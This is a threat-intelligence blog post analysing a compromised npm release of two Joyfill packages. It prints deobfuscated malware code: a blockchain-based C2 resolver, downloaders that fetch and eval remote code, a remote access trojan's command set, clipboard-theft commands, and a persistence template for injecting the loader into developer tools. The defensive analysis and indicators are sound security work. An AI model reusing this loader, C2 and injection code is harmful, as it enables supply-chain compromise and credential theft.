Back to Blog

Compromised npm Packages: @joyfill/components and @joyfill/layouts Ship an Obfuscated Remote Access Trojan

Malicious 2773 beta versions of @joyfill/components and @joyfill/layouts carry an obfuscated remote access trojan and credential stealer that run on import. Here is how it works and how to check if you are affected.
Varun Sharma
View LinkedIn

July 28, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Threat intelligence cover: obfuscated remote access trojan shipped in two Joyfill npm packages
Table of Contents

On July 28, 2026, malicious beta versions of two Joyfill npm packages, @joyfill/components and @joyfill/layouts, were published to the npm registry. Both versions carry the same heavily obfuscated payload injected into the built distribution bundles. The code runs when an application imports the package, so npm install --ignore-scripts does not stop it. It exposes Node.js require and module on the global object, resolves a command and control server through a public blockchain transaction, opens a Socket.IO remote access channel, and stages a Python credential stealer. The packages are legitimate projects that were hijacked, and the malicious code lives only in the published tarballs.

StepSecurity confirmed the compromise three ways. The StepSecurity OSS AI scan feed flagged @joyfill/layouts@0.1.2-2773.beta.0 as CRITICAL with a security score of 0 and a REJECTED verdict. We detonated all affected versions under Harden-Runner in a sandbox. We diffed the malicious builds against their clean siblings and extracted the injected payload on the runner.

Severity: Critical
Ecosystem: npm

Action required. If your repositories, CI/CD pipelines, or developer machines installed any 2773 prerelease of @joyfill/components or @joyfill/layouts, treat those environments as compromised. Remove the versions, pin to a known good release published before July 28, 2026, and rotate any credentials that were present on affected machines. Details are in Recovery Steps below.

The Compromised Packages

PackageCompromised versionsWhy flagged
@joyfill/components4.0.0-rc24-2773-beta.4, 4.0.0-rc24-2773-beta.5, 4.0.0-rc24-2773-beta.6Obfuscated payload appended to dist/index.js, dist/index.esm.js, and dist/joyfill.min.js
@joyfill/layouts0.1.2-2773.beta.0, 0.1.2-2773.beta.1, 0.1.2-2773.beta.2Obfuscated payload prepended to dist/index.cjs.js and dist/index.es.js

How we confirmed it: the malicious dist bundles are the only place the code appears, there is no matching source change in the project, and the identical obfuscated block appears in both packages. That shared implant is a strong signal that one actor injected the same tool into both.

npm registry versions page for joyfill layouts showing the 2773 beta releases
The npm registry lists the 2773 beta releases published within hours of each other, next to the last legitimate 0.1.1 release.

How the Attack Works

The implant shipped in the malicious 2773 beta builds is a five-stage malware chain: an in-bundle obfuscated loader, a blockchain-based C2 resolver, two independently staged downloaders, and a final Socket.IO remote access trojan (RAT) with worm-like self-propagation and a staged Python credential stealer. Every stage is decrypted only in memory, and the only hardcoded network indicators in the first two stages are legitimate public blockchain APIs.

Five-stage attack chain from a single import to workstation credential theft

The five-stage chain, from a single import to workstation credential theft. Blue marks the blockchain C2 resolver; red marks the stages that execute attacker code and steal data.

The loader runs on import, not on install

The payload is not a postinstall script — package.json contains no install hooks at all, so npm install --ignore-scripts does not stop it. The code is compiled into the package entry bundles and executes the moment a project imports the package: a unit test, a bundler run, a dev server, or a production deploy. In @joyfill/components the block is appended after roughly 3.2 MB of legitimate React code, which helps it hide in a large bundle. In @joyfill/layouts@0.1.2-2773.beta.0 it is spliced into the CommonJS and ES module entries (dist/index.cjs.js and dist/index.es.js:862), between the bundled reactGridLayoutUtils and FieldLayoutTypes modules — and the malicious tarball is a tell-tale partial build (~45 KB vs ~322 KB for its clean siblings) that only exports PDFRenderer.

The loader has three jobs: plant the campaign marker, expose Node primitives under innocuous global names, and bootstrap the next stage. The seeded string-shuffle decoder looks like this:

// dist/index.es.js:862 — everything below is injected
global["!"] = "9-0135-3";   // campaign fragment, later becomes _V = "A9-0135-3"

var _$_1e42 = function(l, e) {
  var h = l.length, g = [];
  for (var j = 0; j < h; j++) { g[j] = l.charAt(j); }
  for (var j = 0; j < h; j++) {              // seeded PRNG swap loop
    var s = e * (j + 489) + e % 19597;
    var w = e * (j + 659) + e % 48014;
    var t = s % h, p = w % h, y = g[t];
    g[t] = g[p]; g[p] = y;
    e = (s + w) % 4573868;
  }
  var x = String.fromCharCode(127);
  return g.join("").split("%").join(x).split("#1").join("%")
          .split("#0").join("#").split(x);     // returns a STRING ARRAY
}("rmcej%otb%", 2857687);
// _$_1e42 decodes to: ["r", "object", "m"]

global[_$_1e42[0]] = require;           // global.r = require
if (typeof module === _$_1e42[1]) {     // "object"
  global[_$_1e42[2]] = module;          // global.m = module
}

The global["!"] = "9-0135-3" line is a campaign marker. The decoded global.r = require and global.m = module assignments hand the payload direct access to Node module loading, which later stages use to pull in child_process, http, and other primitives without those names ever appearing in clear text. The StepSecurity OSS AI scan pinpoints this decoder at dist/index.es.js:862, starting with the 9-0135-3 marker.

Multi-layer string obfuscation

The first stage is a string-shuffle decoder. A seeded loop swaps characters and then rebuilds hidden strings through character substitution, so static analysis for literal terms like socket.io or a wallet address finds nothing. The bootstrap that follows is a two-step Function-constructor ladder: the same shuffle routine (with different constants) unscrambles the word "constructor", which is then used to reach the Function constructor through a function object — the words Function and eval never appear at this layer:

function sfL(w) { /* same shuffle, constants 2667686 / 228 / 128 / 50332 / 52119 / 4289487 */ }

var EKc = sfL("wuqktamceigynzbosdctpusocrjhrflovnxrt").substr(0, 11);
// EKc === "constructor"
var joW = '<890-char shuffled string>';
var dgC = sfL[EKc];                          // sfL["constructor"] === Function
var xBg = dgC("", sfL(joW));                 // Function("", <decoder source>)
var pYd = xBg(sfL(`<2,804-char shuffled blob>`));  // run decoder -> stage-1 source
var Tgw = dgC("", pYd);                      // Function("", <stage-1 source>)
Tgw(2509);                                   // execute stage 1

The joW blob does not decode to the payload directly — it decodes to a small dictionary decompression routine. That routine treats its input as a space-separated token stream in which 2- and 3-character escape codes are back-references to earlier tokens (LZ77-style), then applies a final character substitution pass:

// decoded joW — the dictionary decompressor (abridged)
var m = 16, s = 53, u = 72;                       // becomes m=33 '!', s=93, u=96 '`'
var p = [82,60,80,88,76,72,81,85,75,90,89,79,65,94,71,70,66,74,87,86];
for (var t = 0; t < arguments.length; t++) {
  var k = arguments[t].split(" ");                // token stream = text + dictionary
  for (var f = k.length - 1; f >= 0; f--) {
    ...
    if (h)       { a = (h-1)*s + y.charCodeAt(q+1) - m; q++; }        // 2-char reference
    else if (j == u) { a = s*(p.length - m + y.charCodeAt(q+1)) + y.charCodeAt(q+2) - m; q += 2; } // 3-char
    z.push(k[a+1]);                                // substitute earlier token
    ...
  }
  x.push(k[0]);
}
var e = x.join("");
// then: ".a"->"\\", ".b"->"`", ".c"->space, ".d"->newline, ..., ".g"->"R", ..., ".!"->"."
return e.split(".!").join(".");
Why simple static scans miss this: the stage-1 source never exists as a literal in the bundle. Only after running the shuffle and the dictionary decompressor does the ~3.8 KB stage-1 script exist — and only in memory. The identical obfuscated block appears in both packages, a strong signal that one actor injected the same tool into both.

Blockchain-based command-and-control resolution

Rather than hardcode a server, the payload reads a transaction from a fixed Tron address, follows it to a BNB Smart Chain transaction through eth_getTransactionByHash, decodes and XOR-decrypts the transaction input, and evaluates the result as JavaScript. That indirection lets the operator rotate the live C2 at any time by posting a new transaction — limit=1 always fetches the latest — and it keeps the real server out of the package. An Aptos account serves as a fallback pointer channel.

Stage 1 blockchain C2 resolution across Tron, Aptos and BNB Smart Chain

Stage 1 resolves its live C2 from public blockchains: a Tron transaction memo (reversed) points to a BNB Smart Chain transaction whose input, once XOR-decrypted, is the next stage. Aptos is a fallback pointer.

The deobfuscated resolver (string table substituted, renamed for readability):

// stage 1, deobfuscated — blockchain C2 resolver
const d = global["r"];                       // stashed require
global["_V"] = "A" + global["!"];            // _V = "A9-0135-3"  ← campaign tag

async function resolve(xorKey, tronAddr, aptosAddr) {
  let r;
  try {
    // (1) Tron: latest OUTBOUND tx; raw_data.data = hex(reversed BSC tx hash)
    r = Buffer.from(
      (await getJSON("https://api.trongrid.io/v1/accounts/" + tronAddr +
                     "/transactions?only_confirmed=true&only_from=true&limit=1"))
        .data[0].raw_data.data, "hex"
    ).toString("utf8").split("").reverse().join("");
    if (!r) throw new Error;
  } catch (e) {
    // (1b) Aptos fallback: recipient address of a 0-value transfer carries the hash
    r = (await getJSON("https://fullnode.mainnet.aptoslabs.com/v1/accounts/" + aptosAddr +
                       "/transactions?limit=1"))[0].payload.arguments[0];
  }
  // (2) BSC: tx input field (hex) -> utf8 -> split("?.?")[1] = encrypted blob
  const fromBsc = async (host) => Buffer.from(
    (await jsonRpc("eth_getTransactionByHash", [r], host))
      .result.input.substring(2), "hex"
  ).toString("utf8").split("?.?")[1];
  let enc;
  try { enc = await fromBsc("bsc-dataseed.binance.org"); }
  catch (e) { enc = await fromBsc("bsc-rpc.publicnode.com"); }
  // (3) repeating-key XOR
  return [...enc].map((ch, k) =>
    String.fromCharCode(ch.charCodeAt(0) ^ xorKey.charCodeAt(k % xorKey.length))).join("");
}

The resolver runs twice, producing two independent branches:

BranchXOR keyTron pointerAptos fallbackExecution
A (primary)2[gWfGj;<:-93Z^CTMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP
→ BSC tx 0x18a8420f…83e99d
0xbe037400…80811edirect eval() in the importing process
B (parallel)m6:tTh^D)cBz?NM]TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG
(no outbound txs → fallback fires)
→ BSC tx 0x622bcfd4…a10e2e
0x3f0e5781…5dce3detached child process (below)
// branch A — in-process
const r = await resolve("2[gWfGj;<:-93Z^C", "TMfKQE…mAP", "0xbe03…811e");
eval(r);

// branch B — detached child that survives the parent and prints nothing
const r2 = await resolve("m6:tTh^D)cBz?NM]", "TXfxHU…cGzcG", "0x3f0e…dce3");
d("child_process").spawn("node",
  ["-e", "global['_V']='" + (global["_V"] || 0) + "';" + r2],
  { detached: true, stdio: "ignore", windowsHide: true });
Anti-analysis tripwires: a 30-second re-entry guard (global._p_t) defeats repeated sandbox detonations, and the decoder function's own source is compared against a stored constant (if (_$af163278 == _$_ccfc[32]) …) — any modification, including a researcher's instrumentation, silently neuters execution instead of throwing. The only network contacts at this layer are api.trongrid.io, fullnode.mainnet.aptoslabs.com, bsc-dataseed.binance.org and bsc-rpc.publicnode.com — all legitimate, all HTTPS, all commonly allowlisted in CI egress.

Stage 2 — campaign-gated branching and the second downloader

Both decrypted branches read the campaign tag _V. The tag decides which C2 infrastructure this victim uses — evidence that the same malware family is distributed through multiple channels, each tracked separately:

Campaign tag selects one of three C2 endpoints then resolves Stage 3

The campaign tag _V selects one of three C2 endpoints. The npm vector (A9-0135-3) maps to 166.88.134.62; the client then re-arms the blockchain pointers and resolves Stage 3.

// stage 2A — per-campaign C2 selection (deobfuscated)
if (_V[0] == "A" || _V == "0") {          // npm campaign "A9-0135-3"
  global["_t_s"] = "http://166.88.134.62:443";   // SOCKET_URL
  global["_t_u"] = "http://166.88.134.62";       // UPLOAD_URL
} else if (!isNaN(parseInt(_V))) {
  global["_t_s"] = "http://198.105.127.210:443";
  global["_t_u"] = "http://198.105.127.210";
} else {
  global["_t_s"] = "http://23.27.202.27:443";
  global["_t_u"] = "http://23.27.202.27:27017";
}
global["_t_1"] = "TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v";            // Tron pointer
global["_t_2"] = "0x533b2dbc…83e0b1";                             // fallback pointer

Stage 2 also stores its own source (global._t_c = c.toString()) and the victim's __dirname/__filename in globals — material the worm stage later reuses for re-injection. The detached child (branch B) is dormant for the npm campaign — it exits immediately when _V[0] == "A". For numeric campaigns it fetches a boot payload from the second host with a custom Sec-V header carrying the campaign ID:

// stage 2B — second downloader (deobfuscated); dormant when _V starts with "A"
global["_H2"] = "http://198.105.127.210";
const u = new URL((global["_H"] || global["_H2"]) + "/$/boot");
const opts = {
  method: "GET", hostname: u.hostname, port: u.port, path: u.pathname,
  headers: {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " +
                  "(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
    "Sec-V": campaignId                       // campaign tag phones home
  }
};
http.request(opts, res => { /* collect body */ });
// body -> repeating-key XOR with "ThZG+0jfXE6VAGOJ" -> eval()

Stage 3 — Socket.IO remote access trojan

The resolved stage (a ~77 KB body whose strings hide in an LZString-compressed decompressFromUTF16 table of 337 entries) configures a Socket.IO client to the campaign's SOCKET_URL and registers a command handler with verbs for host info, file upload and download, directory listing, and arbitrary code execution. On start it fingerprints the host — OS, hostname, username, release, with special handling for CI/build environments (github-runner, buildbot, sandbox-pool-, buildkitsandbox, cloudchamber, WSL2, root) — and self-installs missing dependencies at runtime:

// stage 3 — dependency self-healing (deobfuscated)
const axios = tryRequire("axios"), io = tryRequire("socket.io-client");
if (!axios || !io) {
  await exec('npm --prefix "' + tmpWorkDir + '" install socket.io-client',
             { stdio: "inherit", windowsHide: true });
  // or: npm --prefix "<tmp>" install axios socket.io-client   (+ form-data)
}
// stage 3 — beacon on connect; note the campaign tag _V is reported to the C2
socket.emit("identify", "client", {
  clientUuid: SESSION_ID,             // MD5-derived host/session id
  processId: pid,
  osType: osType,                     // fingerprint: platform / CI / WSL / root
  VERSION: "260605",
  _V: campaignId,                     // "A9-0135-3" for the npm vector
  CURRENT_TIMESTAMP: now,
  FIRST_VISIT_TIME: firstVisit
});
Command verbBehavior
ss_infoFull host report: _V, VERSION, SESSION_ID, OS_INFO, SOCKET_URL, UPLOAD_URL, NODE_PATH, NODE_VERSION, STARTUP_PATH/TIME, CONNECTED_TIME, __dirname, __filename
ss_ipGeolocation via http://ip-api.com/json
ss_cbClipboard theft (platform-specific, see below)
ss_upf / ss_updUpload file(s) / whole directories to the C2 — multipart POST to /u/f via form-data, with progress reporting
ss_dirDirectory listing
ss_eval: / ss_eval64:Arbitrary JavaScript eval (plain / base64) inside the agent
ss_inz: / ss_inzx:Inject the loader into local applications (worm propagation, below)
ss_connect:Re-point the agent at a new C2
cd <dir>, ss_fcd, ss_stop, ss_exitWorking-directory and upload/session control
**0, ~node, ~pySpawn detached helper processes (node, python3) — the latter is how the Python stealer is staged
// ss_cb — clipboard theft, per platform
Windows:  powershell -NoProfile -Command "Get-Clipboard"
macOS:    pbpaste
Linux:    xclip -selection clipboard -o   // or: xsel --clipboard --output

// Windows host reconnaissance (runs hidden):
tasklist /FO CSV /NH
The Stage 3 RAT command surface (left) and its self-propagation targets (right). Patching the global npm CLI closes the worm loop: every subsequent npm invocation re-executes the loader.

The Stage 3 RAT command surface (left) and its self-propagation targets (right). Patching the global npm CLI closes the worm loop: every subsequent npm invocation re-executes the loader.

Persistence and a Python credential stealer

The trojan persists by inserting a self-reloading block into files that developer tools run routinely, including the @vscode/deviceid module used by VS Code, Cursor, and Antigravity, the Discord desktop core module, GitHub Desktop main.js, and the global npm CLI. Injected blocks are idempotent, guarded by comment sentinels (/*C250617A*//*C260512A*/, /*RS260605*/) and log strings such as already injected / injected:

// the loader stub written into each target file (deobfuscated template)
"/*C250617A*/" +
"global['_V']='" + campaignId + "';global['r']=require;global['m']=module;" +
"<shuffled loader + _t_0 bootstrap>" + "…-eval';"

// injection targets (Windows / macOS / Linux variants of each):
//   VS Code / Cursor / Antigravity:
//     …/resources/app/node_modules/@vscode/deviceid/dist/index.js
//   Discord:  modules/discord_desktop_core[-1]/discord_desktop_core/index.js
//   GitHub Desktop: resources/app/main.js
//   npm CLI:  <npm root -g>/npm/lib/cli.js   ← resolved via `npm root -g` and execPath

Infection of the npm CLI is the supply-chain amplifier: once npm/lib/cli.js is patched, every subsequent npm invocation re-executes the malware, and any package built or published from that machine can carry the loader onward — closing the worm loop.

It also stages a Python infostealer that collects browser data, browser extension wallets and password managers, Git and GitHub CLI credentials, and OS keychains, packs them into an encrypted archive, and uploads them to the C2 (staged under %USERPROFILE%\.npm or /tmp/.npm). The real target is the developer workstation, not the CI runner.

Takeaway for defenders: the only stage-1 network contacts are public blockchain endpoints — indistinguishable from legitimate web3 developer traffic without payload inspection. The first unmistakable indicator is plain-HTTP socket.io traffic to 166.88.134.62:443 (and the Sec-V-tagged /$/boot request for non-npm campaigns), followed by runtime npm install of axios/socket.io-client, detached node -e children, and modifications to npm/lib/cli.js and Electron app bundles on workstations. Egress baselining in CI and file-integrity monitoring on developer machines catch what registry scanning cannot.

Runtime Validation with StepSecurity Harden-Runner

We detonated all six 2773 versions in a sandbox under Harden-Runner with egress policy set to audit, covering both install time and import time, with CI environment markers stripped so any CI evasion check would still fire.

What the runs showed:

  1. Install produced no scripts and no child processes, which matches an import time trigger rather than a postinstall hook.
  2. Importing the package loaded the compromised bundle. We held the Node process open so any asynchronous beacon had time to run.
  3. We did not observe an outbound C2 callout during detonation. Because this payload resolves its live server from an on-chain transaction, the most likely explanation is that the operator C2 and on-chain configuration were already taken down in the hours after public disclosure, so the loader had nothing to connect to.

To prove the malicious code is present rather than assume it, we installed each 2773 version next to its clean sibling with --ignore-scripts and diffed the entry bundles on the runner. The diff surfaced the obfuscated block in the malicious builds only, and we extracted the decoder and the global.r = require assignment shown above directly from the installed tarball. The StepSecurity OSS AI scan feed independently reached the same conclusion for @joyfill/layouts, reporting roughly 333 lines of obfuscated malicious code across the ES module and CommonJS bundles.

StepSecurity OSS AI scan verdict card rating joyfill layouts 2773 beta 0 as Critical Risk 0 out of 10 with a Rejected verdict
The StepSecurity OSS AI scan rates @joyfill/layouts@0.1.2-2773.beta.0 Critical, score 0 out of 10, with a REJECTED verdict.

Indicators of Compromise

Compromised package versions

  • @joyfill/components@4.0.0-rc24-2773-beta.4, @4.0.0-rc24-2773-beta.5, @4.0.0-rc24-2773-beta.6
  • @joyfill/layouts@0.1.2-2773.beta.0, @0.1.2-2773.beta.1, @0.1.2-2773.beta.2

Command and control infrastructure

  • 166.88.134.62 (ports 443 and 80)
  • 23.27.13.43 (serves /$/boot)
  • 198.105.127.210
  • 23.27.202.27

C2 request paths: /$/boot, /u/e, /u/f, /0x/js, /verify-human/, /snv

Blockchain and lookup endpoints: api.trongrid.io, fullnode.mainnet.aptoslabs.com, bsc-dataseed.binance.org, bsc-rpc.publicnode.com, ip-api.com

Tron addresses: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP, TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG, TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v

File hashes (SHA-256)

  • Final Socket.IO RAT: 26351aed0397158d3a3b8cc8fd3047d4c015d264c9895f10f20f1521b974ed18
  • Python credential stealer: 36ff00b45e67baa7e3674b0c80f48e88737264c61e5c6b3b091200972de8157c

Host behaviors

  • The 9-0135-3 campaign marker and a Sec-V: A9-0135-3 request header
  • Self reloading blocks tagged C250617A, C250618A, C250619A, C250620A, C260511A, C260512A, and RS260605 inside developer tool files
  • Credential staging under %USERPROFILE%\.npm or /tmp/.npm and an encrypted archive

Am I Affected?

CI/CD pipelines. Check your Harden-Runner organization baseline for any outbound calls to the C2 hosts or the blockchain lookup endpoints listed above. Anomalous network calls to 166.88.134.62, 23.27.13.43, api.trongrid.io, or bsc-dataseed.binance.org from a node process during install or test are a strong signal.

Developer machines. Dev Machine Guard can detect the compromised npm packages installed on developer laptops and the suspicious files this campaign drops. The credential stealer targets workstations directly, so this is the highest priority surface.

Code repositories. Grep your lockfiles for any 2773 prerelease of either package.

grep -rEn 'joyfill.*2773' package-lock.json yarn.lock pnpm-lock.yaml

Recovery Steps

  1. Remove the compromised versions and pin to a release published before July 28, 2026.

npm install @joyfill/components@4.0.0-rc24 @joyfill/layouts@0.1.1

  1. Delete node_modules and reinstall from a clean lockfile so the injected bundle is gone.
  2. On any developer machine that imported the package, inspect the developer tool files listed above for the injected marker tags and reinstall the affected applications if found.
  3. Rotate credentials that were present on affected machines, including browser stored secrets, Git and GitHub tokens, npm tokens, and any wallet keys.
  4. Review outbound network logs for connections to the C2 hosts and blockchain lookup endpoints.

How StepSecurity Protects Against This

Harden-Runner records every process, file, and network event in your CI/CD jobs. In audit mode it flags outbound calls that are not in your baseline, which is exactly how a blockchain lookup or a C2 callout stands out. In block mode it denies any destination that is not on your allowlist, so a newly resolved C2 address is blocked by default.

npm Package Cooldown and Compromised Package checks stop a newly published or known malicious version from entering your repositories through a pull request.

Dev Machine Guard discovers the npm packages installed on developer machines and detects the suspicious files this campaign drops, which covers the workstation surface the stealer is built to attack.

Check if these packages are in your environment

StepSecurity checks your repositories, CI/CD pipelines, and developer machines for compromised packages like the ones in this Joyfill campaign.

Start FreeRequest a Demo

Explore Related Posts